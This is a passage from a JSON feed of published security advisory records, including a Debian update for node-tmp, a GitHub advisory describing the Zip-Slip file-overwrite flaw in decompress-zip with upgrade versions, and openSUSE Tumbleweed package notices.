0.0.29-tuxcare.1.","status":"published","published":"2026-10-20T10:01:30Z","modified":"2026-10-20T13:45:13.470259898Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"DLA-4268-1","title":"node-tmp - security update","status":"published","published":"2025-08-11T00:00:00Z","modified":"2026-03-09T02:08:53.672935Z","updated_at":"2026-11-02T15:46:12.7027Z"},{"id":"GHSA-73v8-v6g4-vrpm","title":"Arbitrary File Overwrite in decompress-zip","description":"Vulnerable versions of `decompress-zip` are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because `decompress-zip` does not verify that extracted files do not resolve to targets outside of the extraction root directory.\n\n\n\n## Recommendation\n\nFor `decompress-zip` 0.2.x upgrade to 0.2.2 or later.\nFor `decompress-zip` 0.3.x upgrade to 0.3.2 or later.","status":"published","published":"2020-09-02T15:58:13Z","modified":"2020-08-31T18:35:21Z","updated_at":"2026-11-02T15:46:40.308826Z"},{"id":"openSUSE-SU-2025:15502-1","title":"jupyter-nbdime-7.0.2-23.1 on GA media","description":"These are all security issues fixed in the jupyter-nbdime-7.0.2-23.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-08-29T00:00:00Z","modified":"2026-03-23T04:53:52.092018Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"openSUSE-SU-2025:15506-1","title":"jupyter-bqplot-jupyterlab-0.5.46-13.1 on GA media","description":"These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-13.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-09-01T00:00:00Z","modified":"2026-03-23T04:53:52.378211Z","updated_at":"2026-11-02T16:58:37.810934Z"}]}}
